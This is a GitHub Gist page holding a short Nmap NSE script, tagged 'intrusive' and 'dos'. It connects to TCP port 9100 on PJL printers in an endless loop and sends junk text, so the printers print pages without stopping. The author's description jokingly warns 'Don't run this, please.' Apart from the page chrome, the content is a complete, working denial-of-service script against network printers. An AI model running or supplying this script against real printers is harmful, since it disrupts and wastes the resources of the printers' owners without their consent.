Created
October 5, 2012 18:49
-
-
Save bonsaiviking/3841649 to your computer and use it in GitHub Desktop.
NSE script for printing crap to PJL printers. Don't run this, please. Lots of improvements possible, too.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
description = [[ | |
Print a bunch of pages. | |
]] | |
author = "Daniel Miller" | |
license = "Same as Nmap--See http://nmap.org/book/man-legal.html" | |
categories = {"intrusive", "dos"} | |
local nmap = require "nmap" | |
local shortport = require "shortport" | |
portrule = shortport.portnumber(9100,"tcp") | |
action = function(host, port) | |
local sock = nmap.new_socket() | |
local try = nmap.new_try(function() sock:close() end) | |
while true do | |
try(sock:connect(host, port)) | |
try(sock:send("BOOM")) | |
sock:close() | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment